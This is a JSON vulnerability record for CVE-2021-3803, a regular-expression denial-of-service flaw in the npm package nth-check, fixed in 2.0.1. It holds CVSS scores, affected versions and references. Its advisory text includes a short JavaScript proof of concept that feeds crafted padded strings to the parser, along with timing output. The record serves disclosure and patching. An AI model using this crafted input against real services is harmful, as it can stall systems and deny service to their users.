{"id":"CVE-2021-3803","aliases":["CVE-2021-3803","GHSA-rp65-9cf3-cjxr"],"related":[],"kind":"vulnerability","state":"published","title":"Inefficient Regular Expression Complexity in fb55/nth-check","summary":"nth-check is vulnerable to Inefficient Regular Expression Complexity","summarySource":"cvelist","descriptions":[{"lang":"en","text":"nth-check is vulnerable to Inefficient Regular Expression Complexity","source":"cvelist"},{"lang":"en","text":"There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = '2n' + ' '.repeat(i*10000)+\"!\";\n    try {\n        nthCheck.parse(attack_str) \n    }\n    catch(err) {\n        var time_cost = Date.now() - time;\n        console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n    }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"nth-check es vulnerable a una Complejidad de Expresiones Regulares Ineficientes","source":"nvd"}],"published":"2021-09-17T00:00:00.000Z","modified":"2026-09-10T03:49:08.829Z","severity":{"scorer":"@huntrdev","scheme":"CVSS:3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"@huntrdev","scheme":"CVSS:3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","score":5,"rating":"MEDIUM"}],"cwes":["CWE-1333"],"affected":[{"ranges":[{"type":"custom","introduced":"unspecified","fixed":"2.0.1","status":"affected"}],"vendor":"fb55","product":"fb55/nth-check","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.0.1"}],"ecosystem":"npm","package":"nth-check","purl":"pkg:npm/nth-check","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.0.1"}],"vendor":"nth-check_project","product":"nth-check","cpe":"cpe:2.3:a:nth-check_project:nth-check:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"10.0"}],"vendor":"debian","product":"debian_linux","cpe":"cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0","tags":["exploit","issue-tracking","patch","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726","tags":["patch","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html","tags":["mailing-list","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3803","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/fb55/nth-check","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"@huntrdev","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2021-3803","url":"https://www.cve.org/CVERecord?id=CVE-2021-3803","licence":"CVE Terms of Use","modified":"2024-08-03T17:09:08.622Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rp65-9cf3-cjxr","url":"https://github.com/advisories/GHSA-rp65-9cf3-cjxr","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:08.829Z"},{"source":"nvd","name":"NVD","id":"CVE-2021-3803","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3803","licence":"Public domain","modified":"2026-06-17T04:05:47.910Z"}],"updatedAt":"2026-11-25T22:58:04.025Z","epss":{"score":0.02206,"percentile":0.83076,"date":"2026-12-01T12:00:22.000Z"}}